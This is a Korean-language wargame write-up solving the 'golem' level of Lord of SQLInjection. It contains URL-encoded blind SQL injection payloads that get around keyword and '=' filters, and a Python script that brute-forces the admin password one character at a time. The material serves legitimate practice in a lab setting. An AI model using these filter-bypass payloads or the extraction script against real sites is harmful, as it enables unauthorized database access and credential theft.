본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : golem

Write-Up

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

$_GET[pw] = addslashes($_GET[pw]); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");

 

필터링 및 주요 조건은 위와 같다. pw에 알맞은 문자를 입력해야만 문제를 해결할 수 있다. 

 

pw를 구하기 위해, pw 길이 부터 구해보도록 한다. 

 

?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)>8%23

?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23

 

= (%3D)이 필터링 되고 있으므로, 부등호 혹은 like를 통해 이를 우회(대체)할 수 있다. 위 payload를 통해 pw 길이가 8글자임을 알게되었다. 

 

이전에도, 이와 비슷한 문제가 있었다. 그때 사용했던 코드를 재사용하되, = 을 like로 수정해주도록 한다! mid는 substring으로도 대체하여 코드를 실행할 수 있다. 

 

import requests
import string

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1'|| "

cookies ={'PHPSESSID':"m6c15ihc3qg0rpcgoaujbiepme"}

char = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in char:
        param="ascii(mid(pw,"+str(i)+",1)) like "+str(ord(j))+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text:
            result += j
            break
print("pw: "+result)

 

 

그림 1